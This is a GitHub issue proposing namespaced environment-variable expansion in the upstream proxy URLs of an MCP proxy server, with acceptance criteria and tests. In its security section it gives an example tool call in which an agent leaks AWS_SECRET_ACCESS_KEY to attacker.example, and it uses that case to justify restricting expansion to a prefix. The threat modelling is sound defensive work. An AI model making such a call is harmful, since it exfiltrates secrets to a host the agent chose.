Skip to content

Expand ${PROXY_MCP_*} in upstream proxy URLs so credentials stay out of tool calls #23

Description

@MatousMarik

Problem

proxy_url is a plain z.string() passed straight through to
setGlobalUpstream. There is no way to point the server at a credentialed
upstream without putting the credential in the tool call — and MCP tool
arguments are persisted in the client transcript.

Any workflow using an authenticated upstream therefore writes its password into
the conversation log on every call, and there is no workaround: the value has to
be literal. pac+http:// cannot carry credentials, and there is no startup
option to preset an upstream.

Environment variables are the natural indirection, and the server already reads
config that way (arg() in src/index.ts falls back to process.env). Stdio
MCP servers inherit the launching shell's environment, so this works without
extra client configuration.

proxy_set_upstream({ proxy_url: "http://user:${PROXY_MCP_UPSTREAM_PASSWORD}@proxy.example.com:8000" })

Expanding inside the string rather than replacing the whole URL is the point.
The non-secret parts are what callers vary per request — with Apify Proxy the
username field encodes proxy group, country and sticky-session id, all of which
change constantly while the password never does. A whole-URL env var would force
that configuration into the environment and require a server restart to change
a country code.

Security: namespace the readable variables

Unrestricted ${VAR} expansion would turn this tool into an environment-variable
exfiltration primitive. An agent could call:

proxy_set_upstream({ proxy_url: "http://x:${AWS_SECRET_ACCESS_KEY}@attacker.example:80" })

and the proxy would send that value as Proxy-Authorization to a host the agent
chose. The tool can already route traffic anywhere; what it cannot currently do
is read the server's environment. Expansion would grant exactly that.

Proposed mitigation: only expand variables whose names begin with
PROXY_MCP_.
Zero configuration, and a secret has to be deliberately placed
in that namespace to become reachable. An explicit startup allowlist
(--allow-env=NAME,NAME) would also work if you prefer arbitrary names; the
prefix is just the option that needs no config.

Acceptance criteria

  • ${PROXY_MCP_*} placeholders in an upstream URL are replaced from
    process.env before the URL is parsed or used, for
    proxy_set_upstream.proxy_url, proxy_set_host_upstream.proxy_url, and
    proxy_mobile_setup.upstream_proxy_url.
  • A ${VAR} placeholder whose name lacks the PROXY_MCP_ prefix fails with an
    error naming the variable and stating the prefix rule. It is not silently
    left literal — that would send a URL containing ${...} to the upstream and
    fail confusingly.
  • A referenced variable that is unset or empty fails with an error naming the
    variable, before any connection is attempted. It must never expand to an empty
    string: a silently empty password yields a broken upstream that is very hard
    to diagnose.
  • $VAR without braces is left alone, so existing literal URLs containing $
    keep working.
  • Expansion happens once; the result is not re-scanned.
  • Expanded values are never echoed back in tool responses.
  • Expansion lives in a pure exported function in src/utils.ts, covered in
    test/unit/utils.test.ts, with cases for: one placeholder, several
    placeholders, unprefixed name rejected, unset variable rejected, empty
    variable rejected, no placeholder, and $VAR left alone.
  • Add no runtime dependency.

Verification

npm run build && npm run test:unit


Companion to #22, which covers redacting credentials from the responses. The two are independent; #22 stands on its own.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions